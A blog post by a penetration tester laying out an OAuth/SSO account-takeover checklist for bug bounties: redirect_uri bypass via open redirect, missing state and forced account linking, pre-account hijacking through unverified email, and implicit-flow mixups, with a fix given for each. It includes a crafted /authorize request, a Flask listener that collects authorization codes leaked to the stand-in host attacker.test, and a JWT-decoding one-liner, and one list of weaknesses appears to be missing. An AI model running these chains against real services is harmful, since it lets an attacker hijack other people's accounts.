Ramis. All writing

cybersecurity

Logging In as Anyone: OAuth and SSO Account-Takeover Patterns

2026-05-12·9 min read

Most OAuth write-ups stop at "the state parameter was missing, here is a CSRF." That is a finding, but it is rarely the finding. The reports that get triaged as Critical are the ones where a login integration quietly hands you someone else's session: you point the authorization code at a host you control, or you link your provider identity onto a stranger's account, and now "Sign in with Google" signs you in as them. This post is the set of patterns I work through on every SSO target, in order, because OAuth has a lot of moving parts and the mistakes cluster in the same four places every time. I have used this exact checklist to land accepted submissions across YesWeHack, Intigriti and HackerOne programmes, and the value is that it is boring and repeatable rather than clever.

The mental model to hold: the whole flow exists to move a secret (an authorization code, or a token) from the identity provider to the application's backend without the browser or an attacker being able to steal or replace it. Every pattern below is a different way that secret ends up in the wrong hands, or the wrong secret ends up trusted.

Step 1 - Map the flow before you touch it

Before any tampering, walk one clean login with Burp and write down four things: the exact /authorize request (client_id, redirect_uri, response_type, scope, state), whether a code or a token comes back, where it comes back (query string or URL fragment), and what the callback does with it. Note whether PKCE is in play (code_challenge). Ninety percent of the bugs are visible as questions at this stage: is redirect_uri reflected loosely, is state present and checked, does the callback trust an email claim. You are building the same kind of matrix I use for IDOR to account takeover, just with identity, code and callback as the axes.

Step 2 - Break redirect_uri validation

The redirect_uri is where the authorization server sends the code after the user consents. If you can make it point somewhere you control, the code is yours. Providers are supposed to match it against a registered allowlist, but the matching is frequently sloppy. The usual weaknesses:

That last case is the workhorse. Suppose https://app.target/oauth/callback is strictly allowlisted, and app.target also has a legacy https://app.target/go?url= open redirect. You craft an /authorize request that keeps the allowlisted callback but rides the open redirect on the way back:

GET /authorize?response_type=code
  &client_id=6f2a9c0b
  &redirect_uri=https://app.target/oauth/callback
  &scope=openid%20email%20profile
  &state=xyz HTTP/2
Host: accounts.provider

If the callback itself forwards code onward through the open redirect, or the app issues a 302 that carries the query string to an attacker-supplied URL, the code lands on your host. In practice you chain it: the allowlisted redirect_uri is a page that bounces to https://app.target/go?url=https://attacker.test/catch, dragging the ?code= along. The catcher is trivial:

from flask import Flask, request

app = Flask(__name__)

@app.route("/catch")
def catch():
    code = request.args.get("code")
    print("leaked authorization code:", code)
    return "ok", 200

app.run(host="0.0.0.0", port=8080)

Now you exchange the code at the token endpoint (or, if the app does the exchange, you feed the code into a fresh callback to your own session). Either way you have a token minted for the victim. The fix is unambiguous: match redirect_uri by exact string equality against the registered set, no prefix, no substring, no wildcard host, and kill open redirects on every allowlisted origin because they collapse the whole defence.

Step 3 - Abuse a missing or replayable state

state is a CSRF token for the OAuth handshake. The client generates a random value, binds it to the user's session, sends it into /authorize, and verifies on the callback that the returned state matches the one it stored. When it is missing, static, or never checked, the callback will accept a code that was minted for a session other than the victim's. That opens two attacks.

The first is plain login CSRF: you complete a login with your own provider account up to the point of getting a code, pause, and deliver that callback URL to the victim. Their browser hits https://app.target/oauth/callback?code=ATTACKER_CODE, the app has no state to reject it, and the victim is now silently logged into your account. On its own that is Medium. It becomes takeover when the app links or stores data against the logged-in account: the victim, believing it is theirs, saves a payment method, uploads a document, or connects a mailbox, all of which you then read from your side.

The more direct version is forced account linking. Many apps let an already-authenticated user attach an SSO provider from settings, and the linking callback often reuses the same weak state handling. You start the "link Google" flow on your own logged-in session, capture the linking callback, and CSRF the victim into completing it while they are authenticated to their own account. The result is that your Google identity is now bound to their account, and you log in as them from then on with one click. Root cause and fix are the same: generate state as an unpredictable value bound server-side to the exact session, reject any callback where it is absent or does not match, and treat account-linking callbacks with the same strictness as login. PKCE (code_challenge/code_verifier) should be enforced too, so a stolen code cannot be exchanged without the verifier held by the legitimate session.

Step 4 - Pre-account takeover via unverified email

This is the pattern that catches mature targets, because it needs no protocol bug at all, just a trust assumption. The app binds a provider identity to a local account using the email address, and it either trusts an email claim from the provider without checking the provider marked it verified, or it merges accounts on matching email regardless of how each was created.

The classic pre-hijack, documented in the account pre-hijacking research, runs like this. Before the victim ever signs up, you register a normal password account at the target using the victim's email, victim@company.com. You sit on it. Later the victim arrives and clicks "Sign in with Google", authenticating as victim@company.com at Google. The target sees a matching email and, instead of creating a fresh isolated account, merges the SSO login into the pre-existing password account you control. Now both of you have access: they log in via Google, you log in via the password you set. You read everything they add.

The mirror image is trusting an unverified provider email. Some identity providers, and many self-hosted OIDC setups, will emit an email claim that the user typed but never confirmed. If the target links or logs in on that value, you register at the provider with victim@company.com as an unverified address, SSO into the target, and land on the victim's account. Always test what the app does with email_verified: decode the ID token and check whether the claim is even present, then whether the app reads it.

$ echo 'eyJhbGciOi...' | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null
{"sub":"11840...","email":"victim@company.com","email_verified":false,"iss":"https://accounts.provider"}

If email_verified is false and login still succeeds, that is the whole report. The fix has two halves: require a verified email before any linking or merging, and never trust a provider email claim unless email_verified is explicitly true from a provider you actually trust for that domain. Link on the immutable provider sub, not on email. This overlaps with reset-flow trust bugs, so it is worth reading alongside password-reset takeover.

Step 5 - Implicit flow and the code-versus-token mixup

Older integrations still use the implicit flow (response_type=token), where the access token comes back directly in the URL fragment: https://app.target/callback#access_token=.... Fragments are not sent to servers, they live in the browser, so any of the redirect weaknesses in Step 2 leak a live token straight to your catcher, and there is no code exchange to slow you down. Worse is the mixup where a callback was written for the authorization-code flow but happily accepts a token, or the reverse, because it just grabs whatever it finds in the URL. Test both response_type=code and response_type=token against the same callback, and test moving the credential between query string and fragment. If the app validates neither the response type it asked for nor where the credential arrived, you can often replace a code you cannot exchange with a token you can. The defence is to pin response_type server-side, reject implicit grants entirely on anything modern, and have the callback accept the credential only from the exact location the flow it initiated expects.

Reporting so it gets paid

Lead with the impact sentence: "An unauthenticated attacker can take over any account by pre-registering the victim's email and merging it on first SSO login." Then give a clean two-account setup (attacker provider identity, victim account), the exact crafted /authorize request or the decoded ID token showing email_verified: false, and a single video showing you logged in as the victim after the chain. Do not report "missing state" as a standalone CSRF; report the account-linking takeover it enables, with the linking callback captured. Triagers pay for the session, not for the missing parameter, so the write-up has to end with you inside the victim's account.

Takeaways

Written by Muhammad Ramis, a software & AI engineer and OSCP+ penetration tester based in Nottingham, UK. Available for consultancy, contract and senior/staff roles.